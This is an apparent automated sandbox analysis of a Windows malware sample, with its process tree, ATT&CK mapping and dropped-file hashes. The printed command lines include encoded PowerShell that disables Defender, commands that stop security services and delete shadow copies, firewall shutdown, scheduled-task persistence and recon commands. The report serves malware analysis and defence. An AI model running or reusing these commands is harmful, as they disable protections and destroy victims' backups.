pid Process 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1360 xoilac-tv.design_chrome.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1360 wrote to memory of 2084 1360 xoilac-tv.design_chrome.exe 87 PID 2084 wrote to memory of 4652 2084 chrome.exe 88 PID 1360 wrote to memory of 4092 1360 xoilac-tv.design_chrome.exe 89 PID 1360 wrote to memory of 2780 1360 xoilac-tv.design_chrome.exe 91 PID 1360 wrote to memory of 2772 1360 xoilac-tv.design_chrome.exe 154 PID 1360 wrote to memory of 4436 1360 xoilac-tv.design_chrome.exe 95 PID 1360 wrote to memory of 3316 1360 xoilac-tv.design_chrome.exe 97 PID 1360 wrote to memory of 960 1360 xoilac-tv.design_chrome.exe 99 PID 1360 wrote to memory of 3732 1360 xoilac-tv.design_chrome.exe 101 PID 1360 wrote to memory of 1812 1360 xoilac-tv.design_chrome.exe 103 PID 1360 wrote to memory of 4484 1360 xoilac-tv.design_chrome.exe 104 PID 2084 wrote to memory of 212 2084 chrome.exe 107 PID 2084 wrote to memory of 116 2084 chrome.exe 108 PID 2084 wrote to memory of 212 2084 chrome.exe 107 PID 1360 wrote to memory of 1424 1360 xoilac-tv.design_chrome.exe 109 PID 2084 wrote to memory of 4456 2084 chrome.exe 110 PID 2084 wrote to memory of 4456 2084 chrome.exe 110 PID 2084 wrote to memory of 3720 2084 chrome.exe 112 PID 2084 wrote to memory of 1768 2084 chrome.exe 113 PID 2084 wrote to memory of 3720 2084 chrome.exe 112 PID 2084 wrote to memory of 1768 2084 chrome.exe 113 PID 2084 wrote to memory of 2328 2084 chrome.exe 114 PID 2084 wrote to memory of 2328 2084 chrome.exe 114 PID 1360 wrote to memory of 3368 1360 xoilac-tv.design_chrome.exe 115 PID 1360 wrote to memory of 4704 1360 xoilac-tv.design_chrome.exe 126 PID 1360 wrote to memory of 4584 1360 xoilac-tv.design_chrome.exe 119 PID 1360 wrote to memory of 4572 1360 xoilac-tv.design_chrome.exe 121 PID 1424 wrote to memory of 2408 1424 fodhelper.exe 123 PID 1360 wrote to memory of 2668 1360 xoilac-tv.design_chrome.exe 129 PID 1360 wrote to memory of 5888 1360 xoilac-tv.design_chrome.exe 130 PID 1360 wrote to memory of 5936 1360 xoilac-tv.design_chrome.exe 132 PID 1360 wrote to memory of 2068 1360 xoilac-tv.design_chrome.exe 137 PID 1360 wrote to memory of 5024 1360 xoilac-tv.design_chrome.exe 139 PID 1360 wrote to memory of 2200 1360 xoilac-tv.design_chrome.exe 140 PID 1360 wrote to memory of 4696 1360 xoilac-tv.design_chrome.exe 141 PID 1360 wrote to memory of 1312 1360 xoilac-tv.design_chrome.exe 142 PID 1360 wrote to memory of 3872 1360 xoilac-tv.design_chrome.exe 143 PID 1360 wrote to memory of 3552 1360 xoilac-tv.design_chrome.exe 144 PID 1360 wrote to memory of 1208 1360 xoilac-tv.design_chrome.exe 145 PID 1360 wrote to memory of 2700 1360 xoilac-tv.design_chrome.exe 148 PID 1360 wrote to memory of 2772 1360 xoilac-tv.design_chrome.exe 154 PID 3872 wrote to memory of 5252 3872 cmd.exe 155 PID 3552 wrote to memory of 5236 3552 cmd.exe 156 PID 5024 wrote to memory of 5220 5024 cmd.exe 157 PID 2200 wrote to memory of 5204 2200 cmd.exe 158 PID 1312 wrote to memory of 5436 1312 cmd.exe 159 PID 4696 wrote to memory of 5640 4696 cmd.exe 160 PID 2068 wrote to memory of 5176 2068 cmd.exe 161 PID 5436 wrote to memory of 5148 5436 net.exe 162 PID 1360 wrote to memory of 5264 1360 xoilac-tv.design_chrome.exe 163 PID 1360 wrote to memory of 5288 1360 xoilac-tv.design_chrome.exe 164 PID 1360 wrote to memory of 5304 1360 xoilac-tv.design_chrome.exe 165 PID 1360 wrote to memory of 5448 1360 xoilac-tv.design_chrome.exe 169 PID 1360 wrote to memory of 5416 1360 xoilac-tv.design_chrome.exe 170 PID 1360 wrote to memory of 5492 1360 xoilac-tv.design_chrome.exe 173 PID 2068 wrote to memory of 5564 2068 cmd.exe 175 PID 5304 wrote to memory of 5792 5304 net.exe 176 PID 2084 wrote to memory of 6104 2084 chrome.exe 178 PID 2084 wrote to memory of 6104 2084 chrome.exe 178 PID 2084 wrote to memory of 2544 2084 chrome.exe 179 PID 2084 wrote to memory of 5184 2084 chrome.exe 193 PID 2084 wrote to memory of 3472 2084 chrome.exe 194 PID 2084 wrote to memory of 2236 2084 chrome.exe 195 PID 2084 wrote to memory of 5604 2084 chrome.exe 212 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\xoilac-tv.design_chrome.exe"C:\Users\Admin\AppData\Local\Temp\xoilac-tv.design_chrome.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1360 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://xoilac-tv.design2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2084 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffe17dac728,0x7ffe17dac734,0x7ffe17dac7403⤵PID:4652
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1664,i,9567987615853972830,5151624021758807447,262144 --field-trial-handle=1984,i,16914057933799494097,10449295050639300946,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=1980 /prefetch:23⤵PID:212
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1560,i,122489815233664556,6695400269332533250,524288 --field-trial-handle=1984,i,16914057933799494097,10449295050639300946,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2160 /prefetch:33⤵
- System Time Discovery
PID:116
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2348,i,7717006154065690859,17156933435555133720,524288 --field-trial-handle=1984,i,16914057933799494097,10449295050639300946,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2508 /prefetch:83⤵PID:4456
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3076,i,17273650212177594922,5155012958962619169,2097152 --field-trial-handle=1984,i,16914057933799494097,10449295050639300946,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3096 /prefetch:13⤵PID:3720
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3104,i,8436671030945565561,1271564741355953372,2097152 --field-trial-handle=1984,i,16914057933799494097,10449295050639300946,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3132 /prefetch:13⤵PID:1768
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4224,i,12249058545546409253,8300680516553844692,2097152 --field-trial-handle=1984,i,16914057933799494097,10449295050639300946,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4244 /prefetch:23⤵PID:2328
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=5404,i,11908734962473104977,5702355992881358933,2097152 --field-trial-handle=1984,i,16914057933799494097,10449295050639300946,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5420 /prefetch:13⤵PID:6104
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5616,i,7642285119564487532,13086266188938823472,524288 --field-trial-handle=1984,i,16914057933799494097,10449295050639300946,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5560 /prefetch:83⤵PID:2544
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3412,i,4984203800844631085,15890122671963161497,524288 --field-trial-handle=1984,i,16914057933799494097,10449295050639300946,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3148 /prefetch:83⤵PID:5184
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5448,i,14809988354952481110,7680309177136666153,524288 --field-trial-handle=1984,i,16914057933799494097,10449295050639300946,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5968 /prefetch:83⤵PID:3472
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5680,i,13108098750816913861,10630502025060233151,524288 --field-trial-handle=1984,i,16914057933799494097,10449295050639300946,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3388 /prefetch:83⤵PID:2236
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5180,i,6540538359500946006,4156786527776457220,262144 --field-trial-handle=1984,i,16914057933799494097,10449295050639300946,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4376 /prefetch:83⤵PID:5604
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4092
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:2780
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:2772
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:4436
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:3316
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:960
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:3732
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:1812
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:4484
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1424 -
C:\Users\Admin\AppData\Local\Temp\xoilac-tv.design_chrome.exe"C:\Users\Admin\AppData\Local\Temp\xoilac-tv.design_chrome.exe"3⤵PID:2408
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:3368
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:4704
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:4584
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
PID:4572
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:2668
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\xoilac-tv.design_chrome.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5888
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\xoilac-tv.design_chrome.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5936
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2068 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:5176
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Reads the TCP/IP host and domain name from the registry
PID:5564
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5024 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:5220
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2200 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:5204
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4696 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:5640
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1312 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:5436 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:5148
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3872 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:5252
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3552 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:5236
-
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:1208
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\xoilac-tv.design_chrome.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2700
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:2772
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:5264
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Reads the TCP/IP host and domain name from the registry
PID:5288
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:5304 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:5792
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:5448
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:5416
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:5492
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:2340
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4556
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:4704
-
C:\Users\Admin\AppData\Local\Temp\xoilac-tv.design_chrome.exeC:\Users\Admin\AppData\Local\Temp\xoilac-tv.design_chrome.exe2⤵PID:4332
-
-
C:\Users\Admin\AppData\Local\Temp\xoilac-tv.design_chrome.exeC:\Users\Admin\AppData\Local\Temp\xoilac-tv.design_chrome.exe1⤵PID:3480
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:5724
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20260930_024313.jpg
- Size 102KB
- SHA256 71b65f66f93069b551afabfc77c57366f1e0bad0806a567e9541f969b1ded60a
- MD5 4ac3aea9e5d537502ea7e0a47c5adb3b
- SHA1 9f9e4194af4db6a8d6922429cb91d85566095701
- SHA512 976be9928b72ee9d38fbaa6990ac4b9f833a3b9570c3ce3d4a09a6e2d542bb795026e1a56c1c07d4a4fe1772c2c080af678280853c85552741303569780cbf35
- SSDEEP 1536:ILrOuRRRRRRRRRRRWdZ++wa+jy2mkJaT4M/7vXPgIHswgZqWQQmG+2VQhO:mOdZ+Ja+W2mMaT4MDvHswgAQmGkhO
- TLSH T1FAA3E94759149B87A479C3A8BE034F9C2F167F5DE5867AEF10160EDB3F602260C8E86D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 e441395d8e327df1c31fa81b47abea0706ecd0d566c8d91f1a9177da74a7dd74
- MD5 45140183e415957298f60816af5e8492
- SHA1 48cfea423dec392d46638415272ac5c57b11e055
- SHA512 311697f59c7c987d1be090daa4e6b7789f4b980f4aeab67eb0c21d7929879fc3cbdcaa275978adc649abe01c82ccc05c36c15fecdf71bfbbdebcf79d7a1865f4
- SSDEEP 1536:FvBUA19Tir0iGv/IoCzD6DxXJw9w1ets4L1vc140zzOCBVPPE6:xBUA1Fir0fvXKW95wy1M11Ue0zzdPPE6
- TLSH T1D0630A36CB23FCD4677F3D80E0143D561C883E6B87B5257CFA85199A28E5680DF2E5A8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 65KB
- SHA256 402ff57b6b2307923fe567936b81e40379dbb07428fa4c5b029788e601793ede
- MD5 9e5995df8e9d6f97930d08dfcc052761
- SHA1 144e435dd26d0eef495bc9d1f0389c6f2e0e11b7
- SHA512 3eeb87a70a62dcc1421d115b5e8b7cbba691dd8b1151e6227a6d0c42c7518741da33ed1ce4a971ff4f9df64af7657ca004dd3997ddb36659bc1495a25f52ea6a
- SSDEEP 1536:lvBUA19Tir0iGv/IoCzD6DxXJw9w1ets4L1vc140zzOCBVPPEN:RBUA1Fir0fvXKW95wy1M11Ue0zzdPPEN
- TLSH T1EA630A36CB23FDD4277E3D80E0503D561C883E6B8775267CFA8519AA28E5640DF2E5A8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 649B
- SHA256 8caf7c47e820d3e31f3c4da8a75085363f515f244cfc48969e33883139989502
- MD5 797693203ed968696fc80dc93b9effc6
- SHA1 39906ee2623b82c91d3bef6a034401d40cb297e7
- SHA512 83aab0e68e9f89daa9714fc70215ce10644c22865d5b770b67215c58d17ea9d9e07b7d1db7f81834c55821e6df2ee67be0ce6c3dd65197cb13990067e166e6db
- TLSH T1A9F0F9AACC31AC7B18FC1B2A60E41B4BE75113672751844B7B3D821D4FB453B464595C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\temp-index
- Size 504B
- SHA256 0614be69c2007ab27cba8b9ce35e02a1e4f9ba82571b601eafa55f4e466c31ab
- MD5 b9d809296618889517ebb25c3a328ce5
- SHA1 42318fa61e9f94f68083b61917d8e678adc854af
- SHA512 0b3590544b53624e9731ad25a79df8a27a2044dcaf7e859c942976f67d76c8982c87da20ffeb89877af33c16f99fc6f8176860b6c279ae3eaf2e2fc501685971
- TLSH T15EF02204C4CCB215DF379E7DE4940CD962903F86C060070389900084FDB73C0648F331
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 6KB
- SHA256 a39510cfad99273af714b041a53189a54eb57972e17fb133ecceb69a32a6b943
- MD5 961fabb99662f493e085e2c55a2da511
- SHA1 e23250cdfaf66bafaef258221e13c34c1fea060f
- SHA512 fecabc0dad269d8d7ddaa0471d4195bdc9e1a1799a1ca2f3b2d60e95f613d74d65de9401023b8b6b673e13bf1a57ded807102943d710c6dfb9ac244cae36dfb8
- SSDEEP 192:DIZWoB9CySVMU8rUyLYPgf6rQy31fZWvP/xk:DIZWoBcySVMU8gyLYPgfoQG1fZWvP/W
- TLSH T191D183B3C6D48B6DC90156F4AB253F2BCD690A28527C3D5AC8D4BF0BA3D29B1D31154E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 12KB
